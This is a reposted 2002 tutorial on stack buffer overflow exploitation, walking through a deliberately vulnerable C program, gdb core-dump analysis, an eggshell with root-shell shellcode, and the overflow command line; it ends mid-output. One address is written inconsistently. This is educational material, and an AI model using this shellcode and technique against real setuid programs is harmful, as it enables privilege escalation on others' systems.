[转载]Basic Buffer Overflow Exploitation Explained
Author: mercyTitle: Basic Buffer Overflow Exploitation Explained
Date: 30/10/2002
oO::BASICS::Oo
A starting point for this tutorial requires the readers to have a simple understanding
of the C programming language, the way the stack and memory is organised, and asm knowledge
is helpfull though not essential. (I always wanted to say that heh)
When I refer to Buffer overflows throughout this article, I am refering to stack based overflows, there
is a difference between stack based overflows, and heap based, though as your research progresses you
will find that out.
----------------------------------------------------------------------------------------
[Before we go on any further I would like to give you some jargon because there is a lot of it throughout this
tutorial, meaning you will have to learn it, and learn it well:]
ASM: abbreviation for assembly, which is a second generation programming language.
Buffer: A temporary stored place for data.
Register: This is used by your processer to hold information and control execution.
EIP: This is the instruction pointer which is a register, it points to your next command.
EBP: ebp is the base pointer, it points to the top of the stack, and when a function is called it is pushed, and popped on return.
Vulnerability: A software hole allowing an attacker to do malicious things.
Exploit: Takes advantage of a vulnerability.
`perl -e'print "A" x 1000'`: This is used by an attacker, it saves us time, it prints "A" 1000 times.
Core dump: This is what your program looked like just before it crashed, it is saved in a file usually called core.
GDB: General debugger, it is used to follow a programs execution, and to examine core files.
Shellcode: This is a bunch of asm instructions put in hex, we usually make eip point to our shellcode to get executed.
NOP: This is an assembly instruction, stands for No Operation meaning do nothing, this is good to point your EIP into.
lil endian: It is how memory addresses are stored on most systems, little bytes first.
Eggshell: This is usually what we store shellcode into, it just holds the instructions at a fixed location, then we point to
that location and WHAM it gets executed.
Setuid/Setgid: These are basically file permissions, if they are set, then it means the program when you run it, will run
it under a different user id, the importance of these programs are if we hack them, we can gain control of the other
users account.
Shell: Usually an interactive prompt in which we run commands from, a setuid sh shell means we run a shell from a uid,
hopefully 0 which is root.
[/jargon]
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[side notes: to know before we get started:]
EIP:
Throughout all buffer overflow tutorials you will read about the importance of gaining control of the EIP register,
why is this? Like it says in the jargon, this points to our next instruction.
Now a little bit of theory:
We have our shellcode (full of all the commands we want to run), and the eip in a normal case is pointing to the next
command:
eip --> next_command.
Well for us to make the program run our code, we would usually make eip point to our shellcode, so:
eip --> shellcode.
As you can see, the importance of making eip point to our shellcode, is so we can get the commands executed.
NOPS:
No operations are an important part of shellcode, imagine trying to point to a single address, that holds our shellcode,
when the possibility of pointing to the correct address is slim, Nops make it easier, because they do nothing, they just
go down until the next instruction, so imagine your shellcode in the environment, and we point to the wrong address
which just so happens to have our NOPS:
0xbffffca8: NOP
0xbffffcac: NOP
0xbffffcb2: SHELLCODE
eip -> 0xbffffca8
In this example, eip is pointing to 0xbffffca8 which just so happens to hold a NOP instruction, so it gets executed
just going down, and then viola we hit SHELLCODE.
If you do not understand any of this now, dont worry, read on, get a basic idea, then come back.
[/side notes]
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oO START OF TUTORIAL Oo
Buffer overflows are a common vulnerability on all platforms, but are by far the most commonly exploited
bug on the linux/unix Operating systems.
Commonly buffer overflows are exploited to change the flow in a programs execution, so that it
points to a different memory address or overwrites crucial memory segments.
If you know how memory is organised, you would know that on all x86 linux platforms, memory
is organised in 4byte (32 bit) segments, consisting of a hex memory address, and will need to be converted to little
endian byte ordering.
Buffer overflows are the result of stuffing more data into a programs buffer or input device than is defined/allowed for
in the program.
A simple example of a vulnerable program susceptible to a buffer overflow is given below:
--vuln1.c------------------------------------------------
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buff[512];
if(argc < 2)
{
printf("Usage: %s <name>\n", argv[0]);
exit(0);
}
strcpy(buff, argv[1]);
printf("Your name: %s\n", buff);
return 0;
}
---------------------------------------------------------
lets try by giving this program a test:
mercy@hewey:~/tut > gcc vuln1.c -o vuln1
mercy@hewey:~/tut > ./vuln1
Usage: ./vuln1 <name>
mercy@hewey:~/tut > ./vuln1 mercy
Your name: mercy
mercy@hewey:~/tut >
As we can see, this program is fully functional, and does what it is required to do. But
lets see what happens when we fill buff (argv[1]) with more than 512 chars:
mercy@hewey:~/tut > ./vuln1 `perl -e'print "A" x 516'`
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
mercy@hewey:~/tut >
What happened there? the program crashed due to a segmentation fault - we filled the buffer
with more data than it was defined to hold, in turn changing where our eip (instruction pointer) points too, ending in an
illegal adress violation.
Lets see exactly where, and why this program crashed by starting up our favourite debugger, gdb:
(Note: if you did not get a core dump it is most likely because you have not set a limit, at the
command prompt type: ulimit -c unlimited: if this fails still, make sure you have write access in
the executing directory, and make sure that the file is not suid, you will not get core dumps on
suid files.)
mercy@hewey:~/tut > gdb -c core vuln1
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
.....
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
.....
#0 0x4003bc00 in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
.....
esp 0xbffff5d4 0xbffff5d4
ebp 0x41414141 0x41414141
esi 0x40016624 1073833508
edi 0x8048480 134513792
eip 0x4003bc00 0x4003bc00
.....
(gdb)
From this we can see that our ebp is pointing to the address: 0x41414141.
Now if you know your computer theory well, the hex value for the ascii character 'A' is actually
41, and the value we have overflown buff with is 'AAAA'.
Though still, we cannot gain access to the flow of execution if we do not have access to change the eip (unless you use the off
by one technique for the ebp).
The relation of ebp and eip on the stack is:
---------
EBP | 4 bytes
---------
EIP | 4 bytes
---------
From this diagram you can see that the ebp is four bytes before the eip, meaning if we overflow the buffer by
4 more bytes we can overwrite the eip with the address we supply.
Lets try this example again:
mercy@hewey:~/tut > ./vuln1 `perl -e'print "A" x 520'`
Your name:
..........
Segmentation fault (core dumped)
mercy@hewey:~/tut > gdb -c core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
....
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) info reg
.....
ebp 0x41414141 0x41414141
esi 0x40016624 1073833508
edi 0x8048480 134513792
eip 0x41414141 0x41414141
eflags 0x210246 2163270
......
Ah ha, we have done it, we changed the programs instruction pointer to point to the address which we supplied, that being
0x41414141 (AAAA). So knowing this, we can supply an arbituary address that would hold our malicious
code, this code can be anything we specify, though most beneficial would be a setuid sh shell.
The code must be stored at any readable/writeable address on the system, so you will need to get the shellcode and store it.
A tutorial on writing your own shellcode will be posted on the site as soon as possible.
For the time being, use the shellcode presented at the bottom of this tutorial.
So now our objective is to store our code in an address, obtain the address, and overflow the buffer to point
to our address.
Now we will have to compile some code.
Our eggshell code will look like so:
--egg1.c------------------------------------------------
#include <stdio.h>
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63"
"\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53"
"\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int main(void)
{
char shell[512];
puts("Eggshell loaded into environment.");
memset(shell,NOP,512);
memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", shell, 1);
putenv(shell);
system("bash");
return(0);
}
---------------------------------------------------
To find the address of our eggshell, we could go through the core dump
trying to find it, or we could just as easily write up a basic program that finds the location:
--eggfind.c------------------------------------------------
#include <stdio.h>
int main(void)
{
printf("0x%lx\n", getenv("EGG"));
return 0;
}
--------------------------------------------------------------
/*NOTE: Some different methods of exploitation/shellcode will be shown at the bottom of the article. */
/* From further research, the above code will not find the address of EGG in the vulnerable programs address space
it will more than likely just be a lucky guess and reach the NOP's. I will study more and put exact code up asap. */
So, we have stored our address into memory, and retrieved it, there is a little more we have to do to it.
If we are using a little endian byte ordering system, you will need to convert it.
(Note: if you would like to learn more about little endian, or would like a more in-depth guide to converting,
read my tutorial also presented on the site, little endian architectures are processors such as the x86)
mercy@hewey:~/tut > ./egg1
Eggshell loaded into environment.
bash-2.05$ ./eggfind
0xbffffb3c
bash-2.05$
From this we can see that our shellcode is stored at the address 0xbffffb3c
To convert this address to little endian, we must first remove the 0x - this is not necissary when converting.
Now we must break the address up into two byte lots:
bf ff fb 3c
Now comes the converting, we grab the last byte of the address and move it to the first, and so on, though in
doing so the start starts one position later. (A detailed diagram is presented in my article.)
So our converted little endian address will look like so:
3cfbffbf
before we can use this address, we must specify to printf (the function we will be using) that they are hex characters,
so it does not interpret them as ascii, we add a \x before each byte, in turn making the address: \x3c\xfb\xbb\xbf
Now we must put all of this together to form our buffer overflow string, we are only going to fill the buffer with 516 'A's
because if you remember, it only takes the last 4 bytes to change the pointed to memory address, and we overwrite our ebp
with 516 characters, so in the last four bytes we will store our converted address.
Everything we have learnt put together:
bash-2.05$ ./vuln1 `perl -e'print "A" x 516'``printf "\x3c\xfb\xff\xbf"`
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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